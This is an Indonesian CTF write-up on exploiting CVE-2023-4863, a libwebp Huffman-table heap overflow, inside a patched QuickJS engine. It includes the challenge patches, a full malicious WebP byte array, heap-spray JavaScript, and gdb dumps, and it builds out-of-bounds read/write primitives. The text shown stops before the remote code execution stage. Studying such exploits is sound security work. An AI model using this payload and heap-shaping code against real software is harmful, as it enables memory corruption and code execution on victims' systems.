Eksploitasi JS Engine: Bahaya Image WebP

Mengungkap seni eksploitasi QuickJS Engine melalui studi kasus CVE-2023-4863 terkait bahaya gambar dengan format WebP.

Testimonial 01

Nicholas R. Putra

Co-Founder

banner

Dalam dunia keamanan siber yang selalu berkembang, penting untuk memperhatikan setiap aspek yang dapat menjadi celah bagi para penyerang. Artikel ini akan membahas tentang eksploitasi QuickJS Engine, dengan fokus pada studi kasus CVE-2023-4863, dimana terdapat kerentanan pada library libwebp yang cukup menjadi perbincangan akhir-akhir ini karena library tersebut merupakan salah satu dependensi browser sejuta umat, Google Chrome.

Kita akan melakukan studi kasus pada salah satu soal dari ASIS CTF Finals 2023 bernama isWebP.js, dimana soal ini mencoba melakukan instalasi library libwebp yang rentan pada QuickJS Engine, salah satu javascript engine selain v8 dan SpiderMonkey. Kita ditantang untuk mengeksploitasi soal tersebut dengan tujuan akhir mendapatkan akses untuk Remote Code Execution.

Overview

Dalam tantangan ini, kami menerima sebuah attachment yang berisi quickjs yang dimodifikasi, libwebp yang diubah, serta skrip compile.sh untuk mengompilasinya. Anda dapat mengunduh attachment tersebut dari tautan ini. Mari kita lihat terlebih dahulu file compile.sh.

compile.sh

#!/bin/sh
rm build -r 2>/dev/null
mkdir build
mkdir build/libwebp/
git clone https://chromium.googlesource.com/webm/libwebp/
cd libwebp
git checkout 7ba44f80f3b94fc0138db159afea770ef06532a0
git apply ../libwebp.patch
make -f ./makefile.unix -j4
find -name '*.a' | xargs -I '{}' cp '{}' ../build/libwebp
cd ..
git clone https://github.com/bellard/quickjs.git
cd quickjs
git checkout 2ee6be705fde0eb68acec25915d2947de1207abb
git apply ../quickjs.patch
cd ..
cp ./quickjs/* ./build -r
cd build
make qjs -j4
realpath ./qjs

Mengamati script tersebut mengungkapkan bahwa versi libwebp yang digunakan rentan terhadap eksploitasi terbaru CVE-2023-4863. CVE ini mendetailkan sebuah isu dalam libwebp terkait dengan pembuatan Huffman Table, yang esensial untuk kompresi WebP images. WebP images menggunakan Huffman Coding untuk kompresi, dan libwebp membangun Huffman Table untuk mendekompresi mereka. Namun, karena pemeriksaan validitas yang tidak memadai, memungkinkan untuk membuat sebuah WebP image berbahaya yang menyebabkan heap overflow selama pembangunan tabel.

Dalam pencarian proof of concept (POC) secara online, kami menemukan sebuah POC yang bagus berisi sample WebP image berbahaya. Sebelum menggunakan WebP image berbahaya, mari kita periksa terlebih dahulu patch yang diimplementasikan oleh penulisnya.

Mengkaji file libwebp.patch, satu-satunya modifikasi yang dilakukan oleh penulis adalah penghapusan line of code (LOC) yang melakukan free pada Huffman table. Oleh karena itu, dalam tantangan ini, sekali Huffman table dialokasikan, ia akan tetap ada selamanya.

Selanjutnya, mari kita periksa file quickjs.patch.

quickjs.patch

diff --git a/Makefile b/Makefile
index 9b003f0..796c76f 100644
--- a/Makefile
+++ b/Makefile
@@ -108,10 +108,10 @@ ifdef CONFIG_WIN32
DEFINES+=-D__USE_MINGW_ANSI_STDIO # for standard snprintf behavior
endif
-CFLAGS+=$(DEFINES)
+CFLAGS+=$(DEFINES) -I../libwebp/imageio/ -I../libwebp/src/
CFLAGS_DEBUG=$(CFLAGS) -O0
CFLAGS_SMALL=$(CFLAGS) -Os
-CFLAGS_OPT=$(CFLAGS) -O2
+CFLAGS_OPT=$(CFLAGS) -O0
CFLAGS_NOLTO:=$(CFLAGS_OPT)
LDFLAGS=-g
ifdef CONFIG_LTO
@@ -168,7 +168,7 @@ all: $(OBJDIR) $(OBJDIR)/quickjs.check.o $(OBJDIR)/qjs.check.o $(PROGS)
QJS_LIB_OBJS=$(OBJDIR)/quickjs.o $(OBJDIR)/libregexp.o $(OBJDIR)/libunicode.o $(OBJDIR)/cutils.o $(OBJDIR)/quickjs-libc.o $(OBJDIR)/libbf.o
-QJS_OBJS=$(OBJDIR)/qjs.o $(OBJDIR)/repl.o $(QJS_LIB_OBJS)
+QJS_OBJS=$(OBJDIR)/qjs.o $(QJS_LIB_OBJS)
ifdef CONFIG_BIGNUM
QJS_OBJS+=$(OBJDIR)/qjscalc.o
endif
@@ -180,6 +180,7 @@ LIBS+=-ldl -lpthread
endif
LIBS+=$(EXTRA_LIBS)
+LIBS+=libwebp/libimagedec.a libwebp/libwebpdemux.a libwebp/libimageenc.a libwebp/libimageio_util.a libwebp/libwebp.a libwebp/libsharpyuv.a
$(OBJDIR):
mkdir -p $(OBJDIR) $(OBJDIR)/examples $(OBJDIR)/tests
diff --git a/qjs.c b/qjs.c
index c2d63e9..c08c9a2 100644
--- a/qjs.c
+++ b/qjs.c
@@ -41,8 +41,8 @@
#include "cutils.h"
#include "quickjs-libc.h"
-extern const uint8_t qjsc_repl[];
-extern const uint32_t qjsc_repl_size;
+// extern const uint8_t qjsc_repl[];
+// extern const uint32_t qjsc_repl_size;
#ifdef CONFIG_BIGNUM
extern const uint8_t qjsc_qjscalc[];
extern const uint32_t qjsc_qjscalc_size;
@@ -118,8 +118,8 @@ static JSContext *JS_NewCustomContext(JSRuntime *rt)
}
#endif
/* system modules */
- js_init_module_std(ctx, "std");
- js_init_module_os(ctx, "os");
+ // js_init_module_std(ctx, "std");
+ // js_init_module_os(ctx, "os");
return ctx;
}
@@ -338,6 +338,8 @@ int main(int argc, char **argv)
}
#endif
+ setbuf(stdout,NULL);
+ setbuf(stdin,NULL);
/* cannot use getopt because we want to pass the command line to
the script */
optind = 1;
@@ -525,7 +527,8 @@ int main(int argc, char **argv)
goto fail;
}
if (interactive) {
- js_std_eval_binary(ctx, qjsc_repl, qjsc_repl_size, 0);
+ // js_std_eval_binary(ctx, qjsc_repl, qjsc_repl_size, 0);
+ exit(1);
}
js_std_loop(ctx);
}
diff --git a/qjsc.c b/qjsc.c
index f8e60b3..23b9b00 100644
--- a/qjsc.c
+++ b/qjsc.c
@@ -509,8 +509,8 @@ int main(int argc, char **argv)
memset(&dynamic_module_list, 0, sizeof(dynamic_module_list));
/* add system modules */
- namelist_add(&cmodule_list, "std", "std", 0);
- namelist_add(&cmodule_list, "os", "os", 0);
+ // namelist_add(&cmodule_list, "std", "std", 0);
+ // namelist_add(&cmodule_list, "os", "os", 0);
for(;;) {
c = getopt(argc, argv, "ho:cN:f:mxevM:p:S:D:");
diff --git a/quickjs-libc.c b/quickjs-libc.c
index d99bbf4..923dae4 100644
--- a/quickjs-libc.c
+++ b/quickjs-libc.c
@@ -3783,8 +3783,8 @@ void js_std_add_helpers(JSContext *ctx, int argc, char **argv)
JS_SetPropertyStr(ctx, global_obj, "print",
JS_NewCFunction(ctx, js_print, "print", 1));
- JS_SetPropertyStr(ctx, global_obj, "__loadScript",
- JS_NewCFunction(ctx, js_loadScript, "__loadScript", 1));
+ // JS_SetPropertyStr(ctx, global_obj, "__loadScript",
+ // JS_NewCFunction(ctx, js_loadScript, "__loadScript", 1));
JS_FreeValue(ctx, global_obj);
}
diff --git a/quickjs.c b/quickjs.c
index 719fde1..80ee90f 100644
--- a/quickjs.c
+++ b/quickjs.c
@@ -32,6 +32,7 @@
#include <time.h>
#include <fenv.h>
#include <math.h>
+#include <webpdec.h>
#if defined(__APPLE__)
#include <malloc/malloc.h>
#elif defined(__linux__)
@@ -48858,6 +48859,60 @@ static JSValue js_global_unescape(JSContext *ctx, JSValueConst this_val,
return string_buffer_end(b);
}
+
+static JSValue js_global_isWebP(JSContext *ctx, JSValueConst this_val,
+ int argc, JSValueConst *argv)
+{
+ JSObject *tarray;
+ JSValue obj;
+ uint8_t *buf;
+ size_t buflen;
+ WebPBitstreamFeatures *bitstream;
+ WebPDecoderConfig config;
+ VP8StatusCode status;
+
+ if(argc != 1 || JS_VALUE_GET_TAG(argv[0]) != JS_TAG_OBJECT){
+ return JS_UNDEFINED;
+ }
+
+ obj = JS_ToObject(ctx, argv[0]);
+ tarray = JS_VALUE_GET_OBJ(obj);
+ if(tarray->class_id != JS_CLASS_UINT8_ARRAY){
+ JS_FreeValue(ctx, obj);
+ return JS_UNDEFINED;
+ }
+
+ buflen = tarray->u.array.count;
+ buf = tarray->u.array.u.uint8_ptr;
+
+ if(!WebPInitDecoderConfig(&config)){
+ JS_FreeValue(ctx, obj);
+ return JS_UNDEFINED;
+ }
+
+ bitstream = &config.input;
+ status = WebPGetFeatures(buf, buflen, bitstream);
+ if (status != VP8_STATUS_OK) {
+ JS_FreeValue(ctx, obj);
+ return JS_UNDEFINED;
+ }
+ config.output.colorspace = bitstream->has_alpha ? MODE_RGBA : MODE_RGB;
+ status = DecodeWebP(buf, buflen, &config);
+ WebPFreeDecBuffer(&config.output);
+ JS_FreeValue(ctx, obj);
+ if(status == VP8_STATUS_OK){
+ return JS_NewBool(ctx, 1);
+ } else {
+ return JS_NewBool(ctx, 0);
+ }
+}
+
+static JSValue js_gc(JSContext *ctx, JSValueConst this_val,
+ int argc, JSValueConst *argv)
+{
+ JS_RunGC(JS_GetRuntime(ctx));
+ return JS_UNDEFINED;
+}
/* global object */
static const JSCFunctionListEntry js_global_funcs[] = {
@@ -48865,6 +48920,8 @@ static const JSCFunctionListEntry js_global_funcs[] = {
JS_CFUNC_DEF("parseFloat", 1, js_parseFloat ),
JS_CFUNC_DEF("isNaN", 1, js_global_isNaN ),
JS_CFUNC_DEF("isFinite", 1, js_global_isFinite ),
+ JS_CFUNC_DEF("isWebP", 1, js_global_isWebP ),
+ JS_CFUNC_DEF("gc", 0, js_gc ),
JS_CFUNC_MAGIC_DEF("decodeURI", 1, js_global_decodeURI, 0 ),
JS_CFUNC_MAGIC_DEF("decodeURIComponent", 1, js_global_decodeURI, 1 ),

Aspek kunci dari patch tersebut adalah pengenalan fungsi baru bernama isWebP. Fungsi ini menerima Uint8Array yang mewakili stream WebP image dan mencoba untuk mendekode gambar tersebut. Versi libwebp yang digunakan adalah versi yang rentan, oleh karena itu, memanggil fungsi isWebP dengan WebP image berbahaya akan memicu bug heap overflow.

Mengingat WebP image berbahaya tersebut sudah tersedia secara online, tantangan utamanya adalah membuat exploit yang memanfaatkan bug heap overflow untuk memicu Remote Code Execution (RCE). Hal ini penting karena untuk mengambil flag, kita harus menjalankan perintah /readflag.

Pengujian Heap Overflow

Pertama, mari kita siapkan helper kita.

exploit.js

// Helper taken from https://changochen.github.io/2019-04-29-starctf-2019.html
var f64 = new Float64Array(1);
var u32 = new Uint32Array(f64.buffer);
function d2u(v) {
f64[0] = v;
return u32;
}
function u2d(lo, hi) {
u32[0] = lo;
u32[1] = hi;
return f64[0];
}
function hex(lo, hi) {
if( lo == 0 ) {
return ("0x" + hi.toString(16) + "00000000");
}
if( hi == 0 ) {
return ("0x" + lo.toString(16));
}
return ("0x" + ('00000000'+hi.toString(16)).substr(8) +('00000000'+lo.toString(16)).substr(8));
}

Setelah meninjau informasi di blog POC, kita mempelajari bahwa gambar berbahaya dari POC bertujuan untuk menimpa chunk+0x3000. Mari kita coba periksa jenis overflow apa yang dapat dipicu di gdb. Pendekatan saya untuk memeriksanya adalah:

  • Menyemprotkan berpasangan (ArrayBuffer dengan ukuran 0x2f28 dan Array dengan ukuran 0x1).
  • Membebaskan beberapa objek ArrayBuffer ini.
  • Mencoba mengalokasikan Huffman table, dengan harapan ia menempati salah satu chunk ArrayBuffer yang telah dibebaskan karena ukurannya sama.
  • Memeriksa nilai pada chunk+0x3000 untuk menganalisis efek dari overflow.
exploit.js

const webp = new Uint8Array([82, 73, 70, 70, 136, 2, 0, 0, 87, 69, 66, 80, 86, 80, 56, 76, 123, 2, 0, 0, 47, 0, 0, 0, 16, 26, 15, 130, 36, 9, 146, 36, 73, 18, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 86, 207, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 221, 157, 7, 65, 146, 4, 73, 146, 36, 9, 48, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 50, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 179, 122, 118, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 247, 206, 131, 32, 73, 130, 36, 73, 146, 4, 24, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 89, 61, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 123, 231, 65, 144, 36, 65, 146, 36, 73, 2, 140, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 172, 158, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 189, 243, 32, 72, 146, 32, 73, 146, 36, 221, 221, 185, 187, 187, 187, 187, 187, 187, 71, 68, 68, 68, 68, 68, 68, 68, 68, 86, 207, 2, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255]);
let x = [];
let y = [];
for (let i = 0; i < 500; i++) {
x.push(new ArrayBuffer(0x2fb0));
y.push(new Array(1.1, 2.2));
}
// Free some of it
for (let i = 250; i < 500; i++) {
x[i] = undefined;
}
// Try to trigger overflow
isWebP(webp);
Math.min(10);

Untuk mendebug lebih mudah, saya menggunakan teknik dari blog ini blog. Triknya melibatkan pengaturan breakpoint pada js_math_min_max. Selain itu, kita akan mengatur breakpoint pada DecodeImageStream+935, di mana rax menyimpan alamat huffman_tables.

Setelah menjalankan kode tersebut dan memeriksa keadaan di gdb saat berhenti pada js_math_min_max, kita melihat bahwa memang menimpa huffman_tables+0x3000 dengan nilai 0x30007.


// Before (Fetch this value during the breakpoint at DecodeImageStream+935)
gef> x/30gx $rax+0x3000
0x555555b4f880: 0x0000000000000002 0x0000000000000031
0x555555b4f890: 0x0000000000000002 0x0000000000000000
// After (Fetch this value during the breakpoint at js_math_min_max)
gef> x/30gx 0x0000555555b4c880+0x3000
0x555555b4f880: 0x0000000000030007 0x0000000000000031
0x555555b4f890: 0x0000000000000002 0x0000000000000000

Sekarang kita tahu bahwa heap overflow memang terjadi, kita perlu mulai berpikir tentang bagaimana memanfaatkannya untuk mendapatkan RCE.

Read dan Write Primitive

Strategi di sini memanfaatkan heap overflow untuk menimpa panjang tipe data yang ada, memungkinkan kemampuan membaca/menulis Out-of-Bounds (OOB). Setelah bereksperimen di gdb untuk mencapai layout heap yang optimal, saya menemukan urutan berikut efektif.

exploit.js

// Helper taken from https://changochen.github.io/2019-04-29-starctf-2019.html
var f64 = new Float64Array(1);
var u32 = new Uint32Array(f64.buffer);
function d2u(v) {
f64[0] = v;
return u32;
}
function u2d(lo, hi) {
u32[0] = lo;
u32[1] = hi;
return f64[0];
}
function hex(lo, hi) {
if( lo == 0 ) {
return ("0x" + hi.toString(16) + "00000000");
}
if( hi == 0 ) {
return ("0x" + lo.toString(16));
}
return ("0x" + ('00000000'+hi.toString(16)).substr(8) +('00000000'+lo.toString(16)).substr(8));
}
// Malicious webp
const webp = new Uint8Array([82, 73, 70, 70, 136, 2, 0, 0, 87, 69, 66, 80, 86, 80, 56, 76, 123, 2, 0, 0, 47, 0, 0, 0, 16, 26, 15, 130, 36, 9, 146, 36, 73, 18, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 86, 207, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 221, 157, 7, 65, 146, 4, 73, 146, 36, 9, 48, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 50, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 179, 122, 118, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 247, 206, 131, 32, 73, 130, 36, 73, 146, 4, 24, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 89, 61, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 123, 231, 65, 144, 36, 65, 146, 36, 73, 2, 140, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 172, 158, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 189, 243, 32, 72, 146, 32, 73, 146, 36, 221, 221, 185, 187, 187, 187, 187, 187, 187, 71, 68, 68, 68, 68, 68, 68, 68, 68, 86, 207, 2, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255]);
// Spray to shape heap
let x = [];
let y = [];
for (let i = 0; i < 500; i++) {
x.push(new ArrayBuffer(0x2fb0));
y.push(new Array(1.1, 2.2));
y[i][0] = 0x1337;
}
// Free ArrayBuffer, so that malicious webp chunk will be allocated in
// the ArrayBuffer freed chunk, leads to overwriting the Array size.
for (let i = 490; i < 500; i++) {
x[i] = undefined;
}
// Allocate the malicious webp multiple times, with hope that it
// overwrite one of the Array size that we spray before
for (let i = 0; i < 5; i++) {
isWebP(webp);
}
// To check which Array size that was overwritten with the webp,
// if we can access element larger than it original size (2), that means
// the Array size got overwritten.
for (let i = 490; i < 500; i++) {
console.log(i, y[i][7]);
}
// We can see that y[492] until y[496] size was overwritten, because the result isn't undefined

Berikut penjelasan singkat dari pendekatan saya: Awalnya, saya spray pairs of ArrayBuffer(0x2fb0) dan Array(1.1, 2.2). Spray ini bertujuan untuk mencapai layout seperti ini:


...
-----
ArrayBuffer
----
Array
-----
ArrayBuffer
----
Array
-----
ArrayBuffer
----
Array
...

Melakukan free pada beberapa objek ArrayBuffer menghasilkan heap layout seperti ini:


-----
Free Chunk with size 0x2fc0
----
Array
-----
Free Chunk with size 0x2fc0
----
Array
-----
Free Chunk with size 0x2fc0
----
Array
...

Kemudian, mengalokasikan huffman_tables melalui isWebP (yang mengalokasikan chunk berukuran 0x2f30) akan menggunakan free chunk ini. Akibatnya, huffman_tables+0x3000 akan menunjuk ke ukuran Array dan menimpanya dengan nilai besar (0x30007).

Untuk pemahaman yang lebih mendalam, mari kita atur breakpoint tepat sebelum kita menyemprotkan huffman_tables. Kita bisa saja memanggil Math.min tepat setelah membebaskan ArrayBuffer untuk memfasilitasi ini. Kemudian, kita akan memeriksa daftar largebin.


large_bins[idx=111, size=0x2a00-0x3000, @0x7ffff7dff400]: fd=0x555555e21cc0, bk=0x555555e24df0
-> Chunk(addr=0x555555e21cc0, size=0x2fc0, flags=PREV_INUSE, fd=0x555555e343e0, bk=0x7ffff7dff3f0, fd_nextsize=0x555555e21cc0, bk_nextsize=0x555555e21cc0)
-> Chunk(addr=0x555555e343e0, size=0x2fc0, flags=PREV_INUSE, fd=0x555555e312b0, bk=0x555555e21cc0)
-> Chunk(addr=0x555555e312b0, size=0x2fc0, flags=PREV_INUSE, fd=0x555555e2e180, bk=0x555555e343e0)
-> Chunk(addr=0x555555e2e180, size=0x2fc0, flags=PREV_INUSE, fd=0x555555e2b050, bk=0x555555e312b0)
-> Chunk(addr=0x555555e2b050, size=0x2fc0, flags=PREV_INUSE, fd=0x555555e27f20, bk=0x555555e2e180)
-> Chunk(addr=0x555555e27f20, size=0x2fc0, flags=PREV_INUSE, fd=0x555555e24df0, bk=0x555555e2b050)
-> Chunk(addr=0x555555e24df0, size=0x2fc0, flags=PREV_INUSE, fd=0x7ffff7dff3f0, bk=0x555555e27f20)
gef> x/30gx 0x555555e24df0+0x10+0x3000-0x50
0x555555e27db0: 0x0000000000002fc0 0x0000000000000050
0x555555e27dc0: 0x00020d0000000001 0x0000555555e24c98
0x555555e27dd0: 0x0000555555e2aef8 0x0000555555822e70
0x555555e27de0: 0x0000555555e27e10 0x0000000000000000
0x555555e27df0: 0x0000000000000002 0x0000555555e27e40
0x555555e27e00: 0x0000000000000002 0x0000000000000031

Anggaplah kita berhasil mengalokasikan chunk huffman_tables ke alamat 0x555555e24df0. Memanggil malloc(0x2f28) akan menggunakan chunk large_bins yang telah disebutkan, karena ukurannya berada dalam rentang bin dari 0x2a00 sampai 0x3000. Dalam tampilan memori yang digariskan di atas, chunk+0x3000 menunjuk ke field ukuran salah satu objek Array yang kita spray (ukurannya ada di chunk+0x40 (0x2), buffer ada di chunk+0x38 (0x0000555555e27e40)). Karena overflow, ukuran Array ini akan ditimpa.

Selanjutnya, mari kita periksa output dari file JavaScript yang kita buat.


490 undefined
491 undefined
492 [unsupported type]
493 [unsupported type]
494 [unsupported type]
495 [unsupported type]
496 [unsupported type]
497 undefined
498 undefined
499 undefined

Alasan entri y[492] sampai y[496] mengeluarkan nilai selain undefined, tidak seperti yang lain, adalah karena berhasilnya penimpaan field size mereka melalui overflow.

Meskipun berhasil mencapai Out-of-Bounds (OOB) write, seperti yang Anda catat, OOB read tidak berfungsi seperti yang diharapkan, hanya menampilkan [unsupported type]. Untuk memahami lebih baik OOB write, mari kita lakukan percobaan kecil:

exploit.js

for (let i = 0; i < 5; i++) {
y[496][i] = 0x13371337;
}
Math.min(y[496]); // Debug

Jalankan kode di atas dan periksa layout memori.


// *r8 points to y[496] during breakpoint at js_math_min_max
gef> x/60gx *(uint64_t*)$r8
0x555555e37640: 0x00020d0000000002 0x0000555555e34518
0x555555e37650: 0x0000555555e3a778 0x0000555555822e70
0x555555e37660: 0x0000555555e37690 0x0000000000000000
0x555555e37670: 0x0000000000000002 0x0000555555e376c0
0x555555e37680: 0x0000000000030007 0x0000000000000031
0x555555e37690: 0x0000000000000002 0x0000000000000000
0x555555e376a0: 0x0000000000000000 0x0000000000000000
0x555555e376b0: 0x0000000000000000 0x0000000000000031
0x555555e376c0: 0x0000000013371337 0x0000000000000000
0x555555e376d0: 0x0000000013371337 0x0000000000000000
0x555555e376e0: 0x0000000013371337 0x0000000000000000
0x555555e376f0: 0x0000000013371337 0x0000000000000000
0x555555e37700: 0x0000000013371337 0x0000000000000000

Setelah memeriksa layout memori pasca OOB write, pengamatan berikut dibuat:

  • Setiap elemen menempati 0x10 bytes.
  • Hanya 4 bytes yang bisa ditulis per 0x10 bytes.

Untuk write dan read primitive yang lebih kuat, saya menjelajahi tipe data lainnya. Float64Array muncul sebagai kandidat yang kuat, memungkinkan OOB read dan write, asalkan length-nya ditimpa. Untuk memeriksa strukturnya, panggil Math.min(float_arr), mirip dengan pendekatan sebelumnya dengan Array (pastikan untuk menghapus percobaan sebelumnya dari file kita).

exploit.js

// Observed that the Array data type is not a good write primitive.
// One element takes 0x10 bytes, and we can only write 4 bytes per 0x10 bytes.
// So, we need to have a stronger write and read primitive.
//
// Moving forward, we will use y[496] as our limited OOB write.
// Spray Float64Array, with hope that this will be located
// below the corrupted Array.
// We plan to overwrite this size with our limited write primitive from Array later.
let z = [];
for (let i = 0; i < 200; i++) {
z.push(new Float64Array(0x2));
z[i][0] = 2261634.5098039214; // Use this as mark (float representation of 0x4141414141414141)
z[i][1] = 2261634.5098039214; // Use this as mark (float representation of 0x4141414141414141)
}
Math.min(z[0]);

Berikut adalah layout memori:


gef> x/60gx *(uint64_t*)$r8-0x10
0x555555e2b350: 0x0000000000000000 0x0000000000000051
0x555555e2b360: 0x001f0d0000000002 0x0000555555e2e498
0x555555e2b370: 0x0000555555e28238 0x000055555581ef30
0x555555e2b380: 0x0000555555e2e4e0 0x0000000000000000
0x555555e2b390: 0x0000555555e2b3b0 0x0000555555822890
0x555555e2b3a0: 0x0000000000000002
gef> x/50gx 0x0000555555822890-0x10
0x555555822880: 0x0000000000000000 0x0000000000000021
0x555555822890: 0x4141414141414141 0x4141414141414141

Float64Array memiliki layout yang mirip dengan Array, dengan ukuran di chunk+0x40 (0x2) dan buffer di chunk+0x38 (0x0000555555822890). Menariknya, chunk buffer data tidak terbatas per 0x10 bytes, dan OOB read secara akurat menampilkan nilai hexadecimal sebagai floating points.

Strategi kita sekarang melibatkan menggunakan kemampuan OOB write dari Array untuk menimpa ukuran Float64Array yang baru dispray, mengubahnya menjadi primitif baru untuk membaca dan menulis. Teramati bahwa mengubah y[496][9] dan y[496][34] memengaruhi ukuran salah satu objek Float64Array yang dispray. Untuk mengidentifikasi Float64Array yang terpengaruh, kita dapat menandai elemen pertama (y[496][3] dan y[496][28]) dengan nilai unik.

exploit.js

// Based on observation in gdb, overwriting these
// offsets will overwrite:
// - FloatArray64[0] value to 0x37373737, so that later we can use this
// value as the mark of which FloatArray64 that the size got overwritten
// - FloatArray64 size value to 0x37373737
// We want to corrupt two FloatArray64.
y[496][3] = 0x37373737; // FloatArray64[0]
y[496][9] = 0x37373737; // FloatArray64 size
y[496][28] = 0x37373737; // Other FloatArray64[0]
y[496][34] = 0x37373737; // Other FloatArray64 size
// To check which FloatArray64 that we overwrite just now,
// if the first element value is no longer 2261634.5098039214,
// that means we found the correct index.
for (let i = 0; i < 200; i++) {
console.log(i, z[i][0]);
}
// We can see that index 82 and 83 is the one that we overwrite the size.

Memeriksa output dari kode ini mengungkapkan bahwa z[82] dan z[83] adalah instance Float64Array yang dipengaruhi oleh OOB Write Array kita. Dengan primitif baru yang tidak terbatas ini, kita tidak lagi memerlukan OOB write yang terbatas.


...
79 2261634.5098039214
